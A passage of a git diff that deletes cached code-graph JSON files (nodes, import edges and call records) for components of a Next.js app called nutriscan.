"source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "d_documents_github_nutriscan_components_ui_dropdown_menu_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "ui_dropdown_menu_dropdownmenu", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "ui_dropdown_menu_dropdownmenucontent", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "ui_dropdown_menu_dropdownmenuitem", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "ui_dropdown_menu_dropdownmenutrigger", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_theme_toggle_tsx", "target": "components_theme_toggle_themetoggle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L13", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_theme_toggle_themetoggle", "callee": "useTheme", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\theme-toggle.tsx", "source_location": "L14"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9f43d718f5496d5762258334cf0b5f3083bd5b0d7f14d9df9998a618d6051b6a.json b/graphify-out/cache/ast/9f43d718f5496d5762258334cf0b5f3083bd5b0d7f14d9df9998a618d6051b6a.json
deleted file mode 100644
index 1728383..0000000
--- a/graphify-out/cache/ast/9f43d718f5496d5762258334cf0b5f3083bd5b0d7f14d9df9998a618d6051b6a.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_missionsection_tsx", "label": "MissionSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L1"}, {"id": "components_missionsection_mission_values", "label": "MISSION_VALUES", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L5"}, {"id": "components_missionsection_missionsection", "label": "MissionSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L26"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_missionsection_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_missionsection_tsx", "target": "components_missionsection_mission_values", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_missionsection_tsx", "target": "components_missionsection_missionsection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L26", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_missionsection_missionsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L44"}, {"caller_nid": "components_missionsection_missionsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\MissionSection.tsx", "source_location": "L70"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/9fbe2359002d1e5635de7a838dc3a24949b902b0976e055fdfd9d2b3c58b47bc.json b/graphify-out/cache/ast/9fbe2359002d1e5635de7a838dc3a24949b902b0976e055fdfd9d2b3c58b47bc.json
deleted file mode 100644
index 85b480e..0000000
--- a/graphify-out/cache/ast/9fbe2359002d1e5635de7a838dc3a24949b902b0976e055fdfd9d2b3c58b47bc.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "label": "use-geolocation.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L1"}, {"id": "hooks_use_geolocation_usegeolocation", "label": "useGeolocation()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L6"}, {"id": "hooks_use_geolocation_setscannedcountry", "label": "setScannedCountry()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L27"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "target": "d_documents_github_nutriscan_lib_geolocation_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "target": "lib_geolocation_detectusercountry", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "target": "hooks_use_geolocation_usegeolocation", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_use_geolocation_ts", "target": "hooks_use_geolocation_setscannedcountry", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L27", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_use_geolocation_usegeolocation", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L7"}, {"caller_nid": "hooks_use_geolocation_usegeolocation", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L8"}, {"caller_nid": "hooks_use_geolocation_usegeolocation", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\use-geolocation.ts", "source_location": "L10"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/a163ad5622417b37ef088c31cc5f493adc85e5fb01ec3d83c66c65a142a1c0be.json b/graphify-out/cache/ast/a163ad5622417b37ef088c31cc5f493adc85e5fb01ec3d83c66c65a142a1c0be.json
deleted file mode 100644
index 509eea0..0000000
--- a/graphify-out/cache/ast/a163ad5622417b37ef088c31cc5f493adc85e5fb01ec3d83c66c65a142a1c0be.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_badge_tsx", "label": "badge.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L1"}, {"id": "ui_badge_badgevariants", "label": "badgeVariants", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L6"}, {"id": "ui_badge_badgeprops", "label": "BadgeProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L26"}, {"id": "ui_badge_badge", "label": "Badge()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L30"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "class_variance_authority", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "ui_badge_badgevariants", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "ui_badge_badgeprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L26", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_badge_tsx", "target": "ui_badge_badge", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L30", "weight": 1.0}, {"source": "ui_badge_badge", "target": "ui_badge_badgevariants", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L32", "weight": 1.0}], "raw_calls": [{"caller_nid": "ui_badge_badge", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\badge.tsx", "source_location": "L32"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/a73c62935ec379f67d3c1ec9e0cb9fe9a68c8ee40edb65b6425ab2e629923a8c.json b/graphify-out/cache/ast/a73c62935ec379f67d3c1ec9e0cb9fe9a68c8ee40edb65b6425ab2e629923a8c.json
deleted file mode 100644
index fcecbeb..0000000
--- a/graphify-out/cache/ast/a73c62935ec379f67d3c1ec9e0cb9fe9a68c8ee40edb65b6425ab2e629923a8c.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_input_tsx", "label": "input.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L1"}, {"id": "ui_input_input", "label": "Input", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L5"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_input_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_input_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_input_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_input_tsx", "target": "ui_input_input", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\input.tsx", "source_location": "L5", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/aafaaf0a511f41e380d40d533863651100ee5e52d6bd5850c207f7eab1a62ea0.json b/graphify-out/cache/ast/aafaaf0a511f41e380d40d533863651100ee5e52d6bd5850c207f7eab1a62ea0.json
deleted file mode 100644
index c20efb8..0000000
--- a/graphify-out/cache/ast/aafaaf0a511f41e380d40d533863651100ee5e52d6bd5850c207f7eab1a62ea0.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "label": "NutriScoreBadge.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L1"}, {"id": "components_nutriscorebadge_nutriscorebadgeprops", "label": "NutriScoreBadgeProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L5"}, {"id": "components_nutriscorebadge_grade_info", "label": "GRADE_INFO", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L12"}, {"id": "components_nutriscorebadge_grade_class", "label": "GRADE_CLASS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L20"}, {"id": "components_nutriscorebadge_size_class", "label": "SIZE_CLASS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L24"}, {"id": "components_nutriscorebadge_nutriscorebadge", "label": "NutriScoreBadge()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L30"}, {"id": "components_nutriscorebadge_novabadgeprops", "label": "NovaBadgeProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L71"}, {"id": "components_nutriscorebadge_nova_info", "label": "NOVA_INFO", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L78"}, {"id": "components_nutriscorebadge_novabadge", "label": "NovaBadge()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L85"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_nutriscorebadgeprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_grade_info", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L12", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_grade_class", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_size_class", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L24", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_nutriscorebadge", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L30", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_novabadgeprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L71", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_nova_info", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L78", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_nutriscorebadge_tsx", "target": "components_nutriscorebadge_novabadge", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L85", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_nutriscorebadge_nutriscorebadge", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L36"}, {"caller_nid": "components_nutriscorebadge_nutriscorebadge", "callee": "toLowerCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L37"}, {"caller_nid": "components_nutriscorebadge_nutriscorebadge", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L44"}, {"caller_nid": "components_nutriscorebadge_nutriscorebadge", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L53"}, {"caller_nid": "components_nutriscorebadge_nutriscorebadge", "callee": "toUpperCase", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L59"}, {"caller_nid": "components_nutriscorebadge_novabadge", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L91"}, {"caller_nid": "components_nutriscorebadge_novabadge", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\NutriScoreBadge.tsx", "source_location": "L98"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/af04fa14e2d5de96c2d91b4eaef2f002e41d9d5ff88259751eff9979ebb27101.json b/graphify-out/cache/ast/af04fa14e2d5de96c2d91b4eaef2f002e41d9d5ff88259751eff9979ebb27101.json
deleted file mode 100644
index c26ac70..0000000
--- a/graphify-out/cache/ast/af04fa14e2d5de96c2d91b4eaef2f002e41d9d5ff88259751eff9979ebb27101.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_lib_prisma_ts", "label": "prisma.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\prisma.ts", "source_location": "L1"}, {"id": "lib_prisma_prisma", "label": "prisma", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\prisma.ts", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_lib_prisma_ts", "target": "client", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\prisma.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_lib_prisma_ts", "target": "lib_prisma_prisma", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\lib\\prisma.ts", "source_location": "L3", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/af9fa09a0d63c8a8df5d22d2421986f86e2eb0a5158e4b065b0ba819823815ff.json b/graphify-out/cache/ast/af9fa09a0d63c8a8df5d22d2421986f86e2eb0a5158e4b065b0ba819823815ff.json
deleted file mode 100644
index b13a44e..0000000
--- a/graphify-out/cache/ast/af9fa09a0d63c8a8df5d22d2421986f86e2eb0a5158e4b065b0ba819823815ff.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_howitworkssection_tsx", "label": "HowItWorksSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L1"}, {"id": "components_howitworkssection_steps", "label": "STEPS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L3"}, {"id": "components_howitworkssection_howitworkssection", "label": "HowItWorksSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L27"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_howitworkssection_tsx", "target": "components_howitworkssection_steps", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_howitworkssection_tsx", "target": "components_howitworkssection_howitworkssection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L27", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_howitworkssection_howitworkssection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L46"}, {"caller_nid": "components_howitworkssection_howitworkssection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\HowItWorksSection.tsx", "source_location": "L82"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/b72d6cf41f2e779a9ed7d342a4250f08b6041eee1e5bcb1bde056432a8e2ea2f.json b/graphify-out/cache/ast/b72d6cf41f2e779a9ed7d342a4250f08b6041eee1e5bcb1bde056432a8e2ea2f.json
deleted file mode 100644
index 3d5ebd8..0000000
--- a/graphify-out/cache/ast/b72d6cf41f2e779a9ed7d342a4250f08b6041eee1e5bcb1bde056432a8e2ea2f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "label": "CacheOnlySwitch.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L1"}, {"id": "components_cacheonlyswitch_cacheonlyswitch", "label": "CacheOnlySwitch()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L8"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "d_documents_github_nutriscan_components_ui_switch_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "ui_switch_switch", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "d_documents_github_nutriscan_components_ui_label_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "ui_label_label", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_cacheonlyswitch_tsx", "target": "components_cacheonlyswitch_cacheonlyswitch", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L8", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_cacheonlyswitch_cacheonlyswitch", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L9"}, {"caller_nid": "components_cacheonlyswitch_cacheonlyswitch", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\CacheOnlySwitch.tsx", "source_location": "L13"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/b74b55cf63991ce06acb7814a58517a96582f6e358cb69d831851f578d574b3b.json b/graphify-out/cache/ast/b74b55cf63991ce06acb7814a58517a96582f6e358cb69d831851f578d574b3b.json
deleted file mode 100644
index 1441819..0000000
--- a/graphify-out/cache/ast/b74b55cf63991ce06acb7814a58517a96582f6e358cb69d831851f578d574b3b.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_docs_resedesign_extract_js", "label": "extract.js", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L1"}, {"id": "resedesign_extract_fs", "label": "fs", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L1"}, {"id": "resedesign_extract_path", "label": "path", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L2"}, {"id": "resedesign_extract_html", "label": "html", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L3"}, {"id": "resedesign_extract_start", "label": "start", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L6"}, {"id": "resedesign_extract_end", "label": "end", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L7"}, {"id": "resedesign_extract_raw", "label": "raw", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L8"}, {"id": "resedesign_extract_decoded", "label": "decoded", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L11"}], "edges": [{"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "fs", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_fs", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "path", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_docs_resedesign_extract_js", "target": "resedesign_extract_path", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\docs\\resedesign\\extract.js", "source_location": "L2", "weight": 1.0}, {"source": 